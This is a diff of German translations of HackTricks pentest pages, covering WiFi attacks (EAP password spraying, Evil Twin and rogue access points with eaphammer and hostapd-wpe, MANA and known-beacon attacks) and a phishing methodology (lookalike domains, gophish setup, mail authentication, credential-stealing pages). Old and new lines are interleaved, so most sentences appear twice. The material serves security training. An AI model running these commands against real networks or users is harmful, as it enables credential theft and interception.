Unabhängig vom gewählten Protokoll erlangt der PEAP/TTLS-Server Kenntnis von der wahren Identität des Benutzers, nachdem der TLS-Tunnel eingerichtet wurde. Die wahre Identität kann als user@realm oder einfach user dargestellt werden. Wenn der PEAP/TTLS-Server auch für die Authentifizierung des Benutzers verantwortlich ist, besitzt er nun die Identität des Benutzers und fährt mit der durch den TLS-Tunnel geschützten Authentifizierungsmethode fort. Alternativ kann der PEAP/TTLS-Server eine neue RADIUS-Anfrage an den Heim-RADIUS-Server des Benutzers weiterleiten. Diese neue RADIUS-Anfrage lässt die PEAP- oder TTLS-Protokollebene weg. In Fällen, in denen die geschützte Authentifizierungsmethode EAP ist, werden die inneren EAP-Nachrichten ohne die PEAP- oder EAP-TTLS-Hülle an den Heim-RADIUS-Server übertragen. Das User-Name-Attribut der ausgehenden RADIUS-Nachricht enthält die wahre Identität des Benutzers und ersetzt den anonymen User-Name aus der eingehenden RADIUS-Anfrage. Wenn die geschützte Authentifizierungsmethode PAP oder CHAP (nur von TTLS unterstützt) ist, werden das User-Name-Attribut und andere Authentifizierungsattribute, die aus der TLS-Nutzlast extrahiert wurden, in der ausgehenden RADIUS-Nachricht ersetzt, wodurch der anonyme User-Name und die TTLS EAP-Message-Attribute aus der eingehenden RADIUS-Anfrage verdrängt werden.
Für weitere Informationen siehe [https://www.interlinknetworks.com/app_notes/eap-peap.htm](https://www.interlinknetworks.com/app_notes/eap-peap.htm)
### EAP-Bruteforce (Password Spray)
### EAP-Bruteforce (Passwortspray)
Wenn vom Client erwartet wird, dass er einen **Benutzernamen und ein Passwort** verwendet (beachten Sie, dass **EAP-TLS in diesem Fall nicht gültig ist**), könnten Sie versuchen, eine **Liste** von **Benutzernamen** (siehe nächster Teil) und **Passwörtern** zu erhalten und versuchen, den Zugang mit [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)** zu **bruteforcen**.
Wenn vom Client erwartet wird, dass er einen **Benutzernamen und ein Passwort** verwendet (beachten Sie, dass **EAP-TLS in diesem Fall nicht gültig ist**), könnten Sie versuchen, eine **Liste** von **Benutzernamen** (siehe nächsten Teil) und **Passwörtern** zu erhalten und versuchen, den Zugang mit [**air-hammer**](https://github.com/Wh1t3Rh1n0/air-hammer)** zu **bruteforcen**.
```bash
./air-hammer.py -i wlan0 -e Test-Network -P UserPassword1 -u usernames.txt
```
Du könntest diesen Angriff auch mit `eaphammer` durchführen:
Sie könnten diesen Angriff auch mit `eaphammer` durchführen:
```bash
./eaphammer --eap-spray \
--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
@ -412,8 +413,8 @@ Du könntest diesen Angriff auch mit `eaphammer` durchführen:
### Netzwerk Auswahl und Roaming
- Das 802.11-Protokoll definiert, wie eine Station einem Extended Service Set (ESS) beitritt, spezifiziert jedoch nicht die Kriterien zur Auswahl eines ESS oder eines Access Points (AP) innerhalb davon.
- Stationen können zwischen APs, die dasselbe ESSID teilen, umherwandern und die Konnektivität über ein Gebäude oder Gebiet aufrechterhalten.
- Das Protokoll erfordert die Authentifizierung der Station zum ESS, verlangt jedoch keine Authentifizierung des APs zur Station.
- Stationen können zwischen APs mit demselben ESSID umherwandern und die Konnektivität über ein Gebäude oder Gebiet aufrechterhalten.
- Das Protokoll erfordert die Authentifizierung der Station zum ESS, schreibt jedoch keine Authentifizierung des APs zur Station vor.
### Bevorzugte Netzwerklisten (PNLs)
@ -422,19 +423,19 @@ Du könntest diesen Angriff auch mit `eaphammer` durchführen:
### Passive Scanning
- APs senden regelmäßig Beacon-Frames aus, um ihre Präsenz und Merkmale anzukündigen, einschließlich der ESSID des APs, es sei denn, das Broadcasting ist deaktiviert.
- APs senden regelmäßig Beacon-Frames aus, die ihre Präsenz und Merkmale ankündigen, einschließlich der ESSID des APs, es sei denn, das Broadcasting ist deaktiviert.
- Während des passiven Scannens hören Stationen auf Beacon-Frames. Wenn die ESSID eines Beacons mit einem Eintrag in der PNL der Station übereinstimmt, kann die Station automatisch eine Verbindung zu diesem AP herstellen.
- Das Wissen um die PNL eines Geräts ermöglicht potenzielle Ausnutzung, indem die ESSID eines bekannten Netzwerks nachgeahmt wird, um das Gerät dazu zu bringen, sich mit einem bösartigen AP zu verbinden.
### Aktives Probing
- Aktives Probing beinhaltet, dass Stationen Probe-Anfragen senden, um nahegelegene APs und deren Eigenschaften zu entdecken.
- Gezielt gerichtete Probe-Anfragen zielen auf eine bestimmte ESSID ab und helfen festzustellen, ob ein bestimmtes Netzwerk in Reichweite ist, selbst wenn es sich um ein verborgenes Netzwerk handelt.
- Gerichtete Probe-Anfragen zielen auf eine spezifische ESSID ab und helfen zu erkennen, ob ein bestimmtes Netzwerk in Reichweite ist, selbst wenn es sich um ein verborgenes Netzwerk handelt.
- Broadcast-Probe-Anfragen haben ein leeres SSID-Feld und werden an alle nahegelegenen APs gesendet, sodass die Station nach einem bevorzugten Netzwerk suchen kann, ohne den Inhalt ihrer PNL offenzulegen.
## Einfacher AP mit Umleitung ins Internet
Bevor erklärt wird, wie man komplexere Angriffe durchführt, wird erklärt, **wie** man einfach einen **AP** erstellt und seinen **Verkehr** an eine mit dem **Internet** verbundene Schnittstelle **umleitet**.
Bevor erklärt wird, wie man komplexere Angriffe durchführt, wird erklärt, **wie** man einfach einen **AP** erstellt und seinen **Traffic** an eine mit dem **Internet** verbundene Schnittstelle **umleitet**.
Verwenden Sie `ifconfig -a`, um zu überprüfen, ob die wlan-Schnittstelle zum Erstellen des AP und die mit dem Internet verbundene Schnittstelle vorhanden sind.
@ -454,7 +455,7 @@ log-queries
log-dhcp
listen-address=127.0.0.1
```
Dann **IP-Adressen** und **Routen** festlegen:
Dann **setzen Sie IPs** und **Routen**:
```bash
ifconfig wlan0 up 192.168.1.1 netmask 255.255.255.0
route add -net 192.168.1.0 netmask 255.255.255.0 gw 192.168.1.1
@ -500,13 +501,13 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
```
## Evil Twin
Ein Evil Twin-Angriff nutzt die Art und Weise aus, wie WiFi-Clients Netzwerke erkennen, wobei hauptsächlich auf den Netzwerknamen (ESSID) vertraut wird, ohne dass die Basisstation (Zugangspunkt) sich gegenüber dem Client authentifizieren muss. Wichtige Punkte sind:
Ein Evil Twin-Angriff nutzt die Art und Weise aus, wie WiFi-Clients Netzwerke erkennen, wobei hauptsächlich der Netzwerkname (ESSID) verwendet wird, ohne dass die Basisstation (Zugangspunkt) sich gegenüber dem Client authentifizieren muss. Wichtige Punkte sind:
- **Schwierigkeit bei der Unterscheidung**: Geräte haben Schwierigkeiten, zwischen legitimen und bösartigen Zugangspunkten zu unterscheiden, wenn sie denselben ESSID und denselben Verschlüsselungstyp verwenden. In der realen Welt verwenden Netzwerke oft mehrere Zugangspunkte mit demselben ESSID, um die Abdeckung nahtlos zu erweitern.
- **Client-Roaming und Verbindungsmanipulation**: Das 802.11-Protokoll ermöglicht es Geräten, zwischen Zugangspunkten innerhalb desselben ESS zu wechseln. Angreifer können dies ausnutzen, indem sie ein Gerät dazu verleiten, sich von seiner aktuellen Basisstation zu trennen und sich mit einem bösartigen zu verbinden. Dies kann erreicht werden, indem ein stärkeres Signal angeboten oder die Verbindung zum legitimen Zugangspunkt durch Methoden wie Deauthentifizierungs-Pakete oder Störungen unterbrochen wird.
- **Herausforderungen bei der Ausführung**: Die erfolgreiche Durchführung eines Evil Twin-Angriffs in Umgebungen mit mehreren, gut platzierten Zugangspunkten kann herausfordernd sein. Das Deauthentifizieren eines einzelnen legitimen Zugangspunkts führt oft dazu, dass das Gerät sich mit einem anderen legitimen Zugangspunkt verbindet, es sei denn, der Angreifer kann alle nahegelegenen Zugangspunkte deauthentifizieren oder den bösartigen Zugangspunkt strategisch platzieren.
Sie können einen sehr einfachen Open Evil Twin (ohne die Möglichkeit, den Datenverkehr ins Internet zu leiten) erstellen, indem Sie:
Sie können einen sehr einfachen Open Evil Twin (ohne Möglichkeiten, den Datenverkehr ins Internet zu leiten) erstellen, indem Sie:
```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
```
@ -514,17 +515,17 @@ Sie können auch einen Evil Twin mit **eaphammer** erstellen (beachten Sie, dass
```bash
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
```
Oder mit Airgeddon: `Optionen: 5,6,7,8,9 (im Evil Twin Angriffsmenü).`
Oder mit Airgeddon: `Options: 5,6,7,8,9 (im Evil Twin Angriffsmenü).`
![](<../../images/image (1088).png>)
Bitte beachten Sie, dass standardmäßig, wenn ein ESSID im PNL als WPA-geschützt gespeichert ist, das Gerät sich nicht automatisch mit einem offenen Evil Twin verbindet. Sie können versuchen, den echten AP zu DoS und hoffen, dass der Benutzer manuell mit Ihrem offenen Evil Twin verbindet, oder Sie könnten den echten AP DoS und einen WPA Evil Twin verwenden, um den Handshake zu erfassen (mit dieser Methode können Sie das Opfer nicht zu Ihnen verbinden, da Sie den PSK nicht kennen, aber Sie können den Handshake erfassen und versuchen, ihn zu knacken).
Bitte beachten Sie, dass ein ESSID in der PNL standardmäßig als WPA-geschützt gespeichert ist, das Gerät sich nicht automatisch mit einem offenen Evil Twin verbindet. Sie können versuchen, den echten AP zu DoS'en und hoffen, dass der Benutzer manuell mit Ihrem offenen Evil Twin verbindet, oder Sie könnten den echten AP DoS'en und einen WPA Evil Twin verwenden, um den Handshake zu erfassen (mit dieser Methode können Sie das Opfer nicht zu sich verbinden lassen, da Sie den PSK nicht kennen, aber Sie können den Handshake erfassen und versuchen, ihn zu knacken).
_Einige Betriebssysteme und Antivirenprogramme warnen den Benutzer, dass die Verbindung zu einem offenen Netzwerk gefährlich ist..._
### WPA/WPA2 Evil Twin
Sie können einen **Evil Twin mit WPA/2** erstellen, und wenn die Geräte so konfiguriert sind, dass sie sich mit diesem SSID mit WPA/2 verbinden, werden sie versuchen, sich zu verbinden. Auf jeden Fall müssen Sie **auch wissen**, das **Passwort**, das der Client verwenden wird, um den **4-Wege-Handshake** abzuschließen. Wenn Sie es **nicht wissen**, wird die **Verbindung nicht abgeschlossen**.
Sie können einen **Evil Twin mit WPA/2** erstellen, und wenn die Geräte so konfiguriert sind, dass sie sich mit diesem SSID über WPA/2 verbinden, werden sie versuchen, sich zu verbinden. Um den **4-Wege-Handshake abzuschließen**, müssen Sie auch das **Passwort** kennen, das der Client verwenden wird. Wenn Sie es **nicht wissen**, wird die **Verbindung nicht abgeschlossen**.
```bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
```
@ -539,9 +540,9 @@ Um diese Angriffe zu verstehen, empfehle ich, vorher die kurze [WPA Enterprise E
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
```
In der Konfigurationsdatei können Sie viele verschiedene Dinge auswählen, wie ssid, Kanal, Benutzerdateien, cret/key, dh-Parameter, wpa-Version und Auth...
In der Konfigurationsdatei können Sie viele verschiedene Dinge auswählen, wie SSID, Kanal, Benutzerdateien, Cret/Key, DH-Parameter, WPA-Version und Auth...
[**Verwendung von hostapd-wpe mit EAP-TLS, um jedes Zertifikat zur Anmeldung zuzulassen.**](evil-twin-eap-tls.md)
[**Verwendung von hostapd-wpe mit EAP-TLS, um jede Zertifizierung anzumelden.**](evil-twin-eap-tls.md)
**Verwendung von EAPHammer**
```bash
@ -551,7 +552,7 @@ In der Konfigurationsdatei können Sie viele verschiedene Dinge auswählen, wie
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
```
Standardmäßig zielt EAPHammer auf diese Authentifizierungsmethoden ab (beachten Sie GTC als die erste, die versucht, Klartextpasswörter zu erhalten, und dann die Verwendung robusterer Authentifizierungsmethoden):
Standardmäßig zielt EAPHammer auf diese Authentifizierungsmethoden ab (beachten Sie GTC als die erste, um im Klartext gespeicherte Passwörter zu erhalten, und dann die Verwendung robusterer Authentifizierungsmethoden):
```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
```
@ -574,20 +575,20 @@ Oder Sie könnten auch verwenden:
### Debugging von PEAP und EAP-TTLS TLS-Tunneln bei Evil Twin-Angriffen
_Diese Methode wurde in einer PEAP-Verbindung getestet, aber da ich einen beliebigen TLS-Tunnel entschlüssele, sollte dies auch mit EAP-TTLS funktionieren._
_Diese Methode wurde bei einer PEAP-Verbindung getestet, aber da ich einen beliebigen TLS-Tunnel entschlüssele, sollte dies auch mit EAP-TTLS funktionieren._
Innerhalb der **Konfiguration** von _hostapd-wpe_ **kommentieren** Sie die Zeile, die _**dh_file**_ enthält (von `dh_file=/etc/hostapd-wpe/certs/dh` zu `#dh_file=/etc/hostapd-wpe/certs/dh`)\
Dies wird `hostapd-wpe` dazu bringen, **Schlüssel mit RSA auszutauschen** anstelle von DH, sodass Sie den Datenverkehr später **entschlüsseln** können, **wenn Sie den privaten Schlüssel des Servers kennen**.
Starten Sie nun den **Evil Twin** mit **`hostapd-wpe`** mit dieser modifizierten Konfiguration wie gewohnt. Starten Sie auch **`wireshark`** in der **Schnittstelle**, die den Evil Twin-Angriff durchführt.
Jetzt oder später (wenn Sie bereits einige Authentifizierungsversuche erfasst haben) können Sie den privaten RSA-Schlüssel zu Wireshark hinzufügen unter: `Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
Jetzt oder später (wenn Sie bereits einige Authentifizierungsversuche erfasst haben) können Sie den privaten RSA-Schlüssel zu Wireshark hinzufügen unter: `Bearbeiten --> Einstellungen --> Protokolle --> TLS --> (RSA-Schlüsselliste) Bearbeiten...`
Fügen Sie einen neuen Eintrag hinzu und füllen Sie das Formular mit diesen Werten aus: **IP-Adresse = beliebig** -- **Port = 0** -- **Protokoll = data** -- **Schlüsseldatei** (**wählen Sie Ihre Schlüsseldatei aus**, um Probleme zu vermeiden, wählen Sie eine Schlüsseldatei **ohne Passwortschutz**).
Fügen Sie einen neuen Eintrag hinzu und füllen Sie das Formular mit diesen Werten aus: **IP-Adresse = beliebig** -- **Port = 0** -- **Protokoll = Daten** -- **Schlüsseldatei** (**wählen Sie Ihre Schlüsseldatei aus**, um Probleme zu vermeiden, wählen Sie eine Schlüsseldatei **ohne Passwortschutz**).
![](<../../images/image (687).png>)
Und schauen Sie sich den neuen **"Decrypted TLS"-Tab** an:
Und schauen Sie sich den neuen **"Entschlüsselten TLS"-Tab** an:
![](<../../images/image (231).png>)
@ -630,7 +631,7 @@ Diese Methode ermöglicht es einem **Angreifer, einen bösartigen Access Point (
### MANA
Dann **begannen Geräte, unsichere Netzwerkantworten zu ignorieren**, was die Effektivität des ursprünglichen Karma-Angriffs verringerte. Eine neue Methode, bekannt als der **MANA-Angriff**, wurde jedoch von Ian de Villiers und Dominic White eingeführt. Diese Methode beinhaltet, dass der bösartige AP **die Bevorzugten Netzwerklisten (PNL) von Geräten erfasst, indem er auf deren Broadcast-Probe-Anfragen** mit Netzwerknamen (SSIDs) antwortet, die zuvor von den Geräten als sicher angesehen wurden. Dieser ausgeklügelte Angriff umgeht die Schutzmaßnahmen gegen den ursprünglichen Karma-Angriff, indem er die Art und Weise ausnutzt, wie Geräte bekannte Netzwerke speichern und priorisieren.
Dann **begannen Geräte, unsichere Netzwerkantworten zu ignorieren**, was die Effektivität des ursprünglichen Karma-Angriffs verringerte. Eine neue Methode, bekannt als der **MANA-Angriff**, wurde jedoch von Ian de Villiers und Dominic White eingeführt. Diese Methode beinhaltet, dass der bösartige AP **die Bevorzugten Netzwerklisten (PNL) von Geräten erfasst, indem er auf deren Broadcast-Probe-Anfragen** mit Netzwerknamen (SSIDs) antwortet, die zuvor von den Geräten als sicher eingestuft wurden. Dieser ausgeklügelte Angriff umgeht die Schutzmaßnahmen gegen den ursprünglichen Karma-Angriff, indem er die Art und Weise ausnutzt, wie Geräte bekannte Netzwerke speichern und priorisieren.
Der MANA-Angriff funktioniert, indem er sowohl gerichtete als auch Broadcast-Probe-Anfragen von Geräten überwacht. Bei gerichteten Anfragen zeichnet er die MAC-Adresse des Geräts und den angeforderten Netzwerknamen auf und fügt diese Informationen einer Liste hinzu. Wenn eine Broadcast-Anfrage empfangen wird, antwortet der AP mit Informationen, die mit einem der Netzwerke auf der Liste des Geräts übereinstimmen, und verleitet das Gerät dazu, sich mit dem bösartigen AP zu verbinden.
```bash
@ -646,7 +647,7 @@ Ein **Loud MANA-Angriff** ist eine fortgeschrittene Strategie, wenn Geräte kein
Wenn der **Loud MANA Angriff** möglicherweise nicht ausreicht, bietet der **Bekannte Beacon-Angriff** einen weiteren Ansatz. Diese Methode **brute-forced den Verbindungsprozess, indem sie einen AP simuliert, der auf jeden Netzwerknamen reagiert und durch eine Liste potenzieller ESSIDs aus einer Wortliste wechselt**. Dies simuliert die Präsenz zahlreicher Netzwerke, in der Hoffnung, eine ESSID innerhalb der PNL des Opfers zu treffen, was einen Verbindungsversuch zum gefälschten AP auslöst. Der Angriff kann verstärkt werden, indem er mit der `--loud` Option kombiniert wird, um einen aggressiveren Versuch zu unternehmen, Geräte zu fangen.
Eaphammer hat diesen Angriff als MANA-Angriff implementiert, bei dem alle ESSIDs in einer Liste geladen werden (du könntest dies auch mit `--loud` kombinieren, um einen Loud MANA + Bekannte Beacons Angriff zu erstellen):
Eaphammer hat diesen Angriff als MANA-Angriff implementiert, bei dem alle ESSIDs in einer Liste geladen werden (Sie könnten dies auch mit `--loud` kombinieren, um einen Loud MANA + Bekannte Beacons Angriff zu erstellen):
```bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
```
@ -663,7 +664,7 @@ Der **Bekannte Beacon Burst Angriff** beinhaltet **schnelles Senden von Beacon-F
```
## Wi-Fi Direct
**Wi-Fi Direct** ist ein Protokoll, das es Geräten ermöglicht, direkt miteinander über Wi-Fi zu kommunizieren, ohne dass ein traditioneller drahtloser Zugangspunkt erforderlich ist. Diese Fähigkeit ist in verschiedenen Internet of Things (IoT)-Geräten integriert, wie z.B. Druckern und Fernsehern, und erleichtert die direkte Kommunikation zwischen Geräten. Ein bemerkenswertes Merkmal von Wi-Fi Direct ist, dass ein Gerät die Rolle eines Zugangspunkts übernimmt, bekannt als Gruppenbesitzer, um die Verbindung zu verwalten.
**Wi-Fi Direct** ist ein Protokoll, das es Geräten ermöglicht, direkt miteinander über Wi-Fi zu kommunizieren, ohne dass ein traditioneller drahtloser Zugangspunkt erforderlich ist. Diese Fähigkeit ist in verschiedenen Internet of Things (IoT)-Geräten integriert, wie z.B. Druckern und Fernsehern, und erleichtert die direkte Kommunikation zwischen Geräten. Ein bemerkenswertes Merkmal von Wi-Fi Direct ist, dass ein Gerät die Rolle eines Zugangspunkts übernimmt, bekannt als der Gruppenbesitzer, um die Verbindung zu verwalten.
Die Sicherheit für Wi-Fi Direct-Verbindungen wird durch **Wi-Fi Protected Setup (WPS)** gewährleistet, das mehrere Methoden für eine sichere Kopplung unterstützt, darunter:
@ -675,7 +676,7 @@ Diese Methoden, insbesondere die PIN-Eingabe, sind anfällig für die gleichen S
### EvilDirect Hijacking
**EvilDirect Hijacking** ist ein Angriff, der spezifisch auf Wi-Fi Direct abzielt. Er spiegelt das Konzept eines Evil Twin-Angriffs wider, zielt jedoch auf Wi-Fi Direct-Verbindungen ab. In diesem Szenario gibt sich ein Angreifer als legitimer Gruppenbesitzer aus, um Geräte zu täuschen, sich mit einer bösartigen Entität zu verbinden. Diese Methode kann mit Tools wie `airbase-ng` ausgeführt werden, indem der Kanal, ESSID und MAC-Adresse des impersonierten Geräts angegeben werden:
**EvilDirect Hijacking** ist ein Angriff, der spezifisch auf Wi-Fi Direct abzielt. Er spiegelt das Konzept eines Evil Twin-Angriffs wider, zielt jedoch auf Wi-Fi Direct-Verbindungen ab. In diesem Szenario gibt sich ein Angreifer als legitimer Gruppenbesitzer aus, um Geräte zu täuschen, damit sie sich mit einer bösartigen Entität verbinden. Diese Methode kann mit Tools wie `airbase-ng` ausgeführt werden, indem der Kanal, ESSID und MAC-Adresse des impersonierten Geräts angegeben werden:
## References
@ -690,6 +691,6 @@ Diese Methoden, insbesondere die PIN-Eingabe, sind anfällig für die gleichen S
- [https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)](<https://forums.kali.org/showthread.php?24286-WPS-Pixie-Dust-Attack-(Offline-WPS-Attack)>)
- [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
TODO: Take a look to [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) (login con facebook e imitacionde WPA en captive portals)
TODO: Schau dir [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher) an (Login mit Facebook und Imitation von WPA in Captive Portalen)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,29 +1,29 @@
# Phishing-Methodologie
# Phishing Methodology
{{#include ../../banners/hacktricks-training.md}}
## Methodologie
## Methodology
1. Rekognoszieren Sie das Opfer
1. Wählen Sie die **Opferdomain**.
2. Führen Sie eine grundlegende Webenumeration durch, **um nach Anmeldeportalen** zu suchen, die vom Opfer verwendet werden, und **entscheiden** Sie, welches Sie **nachahmen** möchten.
1. Recon der Zielperson
1. Wählen Sie die **Ziel-Domain** aus.
2. Führen Sie eine grundlegende Webenumeration durch, **um nach Login-Portalen** zu suchen, die von der Zielperson verwendet werden, und **entscheiden** Sie, welches Sie **nachahmen** möchten.
3. Verwenden Sie einige **OSINT**, um **E-Mails zu finden**.
2. Bereiten Sie die Umgebung vor
1. **Kaufen Sie die Domain**, die Sie für die Phishing-Bewertung verwenden möchten.
2. **Konfigurieren Sie die E-Mail-Dienst**-bezogenen Aufzeichnungen (SPF, DMARC, DKIM, rDNS).
2. **Konfigurieren Sie die E-Mail-Dienst**-bezogenen Einträge (SPF, DMARC, DKIM, rDNS).
3. Konfigurieren Sie den VPS mit **gophish**.
3. Bereiten Sie die Kampagne vor
1. Bereiten Sie die **E-Mail-Vorlage** vor.
2. Bereiten Sie die **Webseite** vor, um die Anmeldeinformationen zu stehlen.
2. Bereiten Sie die **Webseite** vor, um die Anmeldedaten zu stehlen.
4. Starten Sie die Kampagne!
## Generieren Sie ähnliche Domainnamen oder kaufen Sie eine vertrauenswürdige Domain
### Techniken zur Variation von Domainnamen
- **Schlüsselwort**: Der Domainname **enthält** ein wichtiges **Schlüsselwort** der ursprünglichen Domain (z.B. zelster.com-management.com).
- **getrennter Subdomain**: Ändern Sie den **Punkt in einen Bindestrich** einer Subdomain (z.B. www-zelster.com).
- **Neue TLD**: Gleiche Domain mit einer **neuen TLD** (z.B. zelster.org).
- **Keyword**: Der Domainname **enthält** ein wichtiges **Keyword** der ursprünglichen Domain (z.B. zelster.com-management.com).
- **hypen-subdomain**: Ändern Sie den **Punkt in einen Bindestrich** einer Subdomain (z.B. www-zelster.com).
- **Neue TLD**: Dieselbe Domain mit einer **neuen TLD** (z.B. zelster.org).
- **Homoglyph**: Es **ersetzt** einen Buchstaben im Domainnamen durch **Buchstaben, die ähnlich aussehen** (z.B. zelfser.com).
{{#ref}}
@ -31,9 +31,9 @@ homograph-attacks.md
{{#endref}}
- **Transposition:** Es **tauscht zwei Buchstaben** innerhalb des Domainnamens (z.B. zelsetr.com).
- **Singularisierung/Pluralisierung**: Fügt ein „s“ am Ende des Domainnamens hinzu oder entfernt es (z.B. zeltsers.com).
- **Auslassung**: Es **entfernt einen** der Buchstaben aus dem Domainnamen (z.B. zelser.com).
- **Omission**: Es **entfernt einen** der Buchstaben aus dem Domainnamen (z.B. zelser.com).
- **Wiederholung:** Es **wiederholt einen** der Buchstaben im Domainnamen (z.B. zeltsser.com).
- **Ersetzung**: Wie Homoglyph, aber weniger heimlich. Es ersetzt einen der Buchstaben im Domainnamen, möglicherweise mit einem Buchstaben in der Nähe des ursprünglichen Buchstabens auf der Tastatur (z.B. zektser.com).
- **Ersetzung**: Wie homoglyph, aber weniger stealthy. Es ersetzt einen der Buchstaben im Domainnamen, möglicherweise mit einem Buchstaben in der Nähe des ursprünglichen Buchstabens auf der Tastatur (z.B. zektser.com).
- **Subdominiert**: Fügen Sie einen **Punkt** innerhalb des Domainnamens ein (z.B. ze.lster.com).
- **Einfügung**: Es **fügt einen Buchstaben** in den Domainnamen ein (z.B. zerltser.com).
- **Fehlender Punkt**: Hängen Sie die TLD an den Domainnamen an. (z.B. zelstercom.com)
@ -51,11 +51,11 @@ homograph-attacks.md
### Bitflipping
Es besteht die **Möglichkeit, dass einige Bits, die gespeichert oder in der Kommunikation sind, automatisch umgeschaltet werden** aufgrund verschiedener Faktoren wie Sonnenstürme, kosmische Strahlen oder Hardwarefehler.
Es besteht die **Möglichkeit, dass eines der Bits, die gespeichert oder in der Kommunikation sind, automatisch umgeschaltet wird** aufgrund verschiedener Faktoren wie Sonnenstürme, kosmische Strahlen oder Hardwarefehler.
Wenn dieses Konzept auf DNS-Anfragen **angewendet wird**, ist es möglich, dass die **Domain, die vom DNS-Server empfangen wird**, nicht die gleiche ist wie die ursprünglich angeforderte Domain.
Zum Beispiel kann eine einzige Bitänderung in der Domain "windows.com" sie in "windnws.com" ändern.
Zum Beispiel kann eine einzelne Bitänderung in der Domain "windows.com" sie in "windnws.com" ändern.
Angreifer können **dies ausnutzen, indem sie mehrere Bit-Flipping-Domains registrieren**, die der Domain des Opfers ähnlich sind. Ihre Absicht ist es, legitime Benutzer auf ihre eigene Infrastruktur umzuleiten.
@ -87,7 +87,7 @@ Vergessen Sie außerdem nicht, dass, wenn die Benutzer **ein Webportal verwenden
Sie können es von [https://github.com/gophish/gophish/releases/tag/v0.11.0](https://github.com/gophish/gophish/releases/tag/v0.11.0) herunterladen.
Laden Sie es herunter und entpacken Sie es in `/opt/gophish` und führen Sie `/opt/gophish/gophish` aus.\
Sie erhalten ein Passwort für den Admin-Benutzer auf Port 3333 in der Ausgabe. Greifen Sie daher auf diesen Port zu und verwenden Sie diese Anmeldeinformationen, um das Admin-Passwort zu ändern. Möglicherweise müssen Sie diesen Port zu lokal tunneln:
Ihnen wird ein Passwort für den Admin-Benutzer auf Port 3333 in der Ausgabe angezeigt. Greifen Sie daher auf diesen Port zu und verwenden Sie diese Anmeldeinformationen, um das Admin-Passwort zu ändern. Möglicherweise müssen Sie diesen Port zu lokal tunneln:
```bash
ssh -L 3333:127.0.0.1:3333 <user>@<ip>
```
@ -227,19 +227,19 @@ service gophish stop
### Warten & legitim sein
Je älter eine Domain ist, desto unwahrscheinlicher ist es, dass sie als Spam erkannt wird. Daher sollten Sie so viel Zeit wie möglich warten (mindestens 1 Woche) vor der Phishing-Bewertung. Darüber hinaus wird die Reputation besser sein, wenn Sie eine Seite über einen reputationswürdigen Sektor erstellen.
Je älter eine Domain ist, desto unwahrscheinlicher ist es, dass sie als Spam erkannt wird. Daher solltest du so viel Zeit wie möglich warten (mindestens 1 Woche) vor der Phishing-Bewertung. Außerdem wird die Reputation besser, wenn du eine Seite über einen reputationswürdigen Sektor einrichtest.
Beachten Sie, dass Sie, auch wenn Sie eine Woche warten müssen, jetzt alles konfigurieren können.
Beachte, dass du auch, wenn du eine Woche warten musst, jetzt alles konfigurieren kannst.
### Konfigurieren des Reverse DNS (rDNS) Eintrags
Setzen Sie einen rDNS (PTR) Eintrag, der die IP-Adresse des VPS auf den Domainnamen auflöst.
Setze einen rDNS (PTR) Eintrag, der die IP-Adresse des VPS auf den Domainnamen auflöst.
### Sender Policy Framework (SPF) Eintrag
Sie müssen **einen SPF-Eintrag für die neue Domain konfigurieren**. Wenn Sie nicht wissen, was ein SPF-Eintrag ist, [**lesen Sie diese Seite**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
Du musst **einen SPF-Eintrag für die neue Domain konfigurieren**. Wenn du nicht weißt, was ein SPF-Eintrag ist, [**lies diese Seite**](../../network-services-pentesting/pentesting-smtp/index.html#spf).
Sie können [https://www.spfwizard.net/](https://www.spfwizard.net) verwenden, um Ihre SPF-Richtlinie zu generieren (verwenden Sie die IP der VPS-Maschine).
Du kannst [https://www.spfwizard.net/](https://www.spfwizard.net) verwenden, um deine SPF-Richtlinie zu generieren (verwende die IP der VPS-Maschine).
![](<../../images/image (1037).png>)
@ -287,7 +287,7 @@ DKIM check: pass
Sender-ID check: pass
SpamAssassin check: ham
```
Sie könnten auch eine **Nachricht an ein Gmail unter Ihrer Kontrolle** senden und die **E-Mail-Header** in Ihrem Gmail-Posteingang überprüfen. `dkim=pass` sollte im Headerfeld `Authentication-Results` vorhanden sein.
Sie könnten auch eine **Nachricht an ein Gmail unter Ihrer Kontrolle senden** und die **E-Mail-Header** in Ihrem Gmail-Posteingang überprüfen. `dkim=pass` sollte im Headerfeld `Authentication-Results` vorhanden sein.
```
Authentication-Results: mx.google.com;
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
@ -348,7 +348,7 @@ Beachten Sie, dass **um die Glaubwürdigkeit der E-Mail zu erhöhen**, empfohlen
![](<../../images/image (80).png>)
> [!TIP]
> Die E-Mail-Vorlage ermöglicht es auch, **Dateien anzuhängen**. Wenn Sie auch NTLM-Herausforderungen mit speziell gestalteten Dateien/Dokumenten stehlen möchten, [lesen Sie diese Seite](../../windows-hardening/ntlm/places-to-steal-ntlm-creds.md).
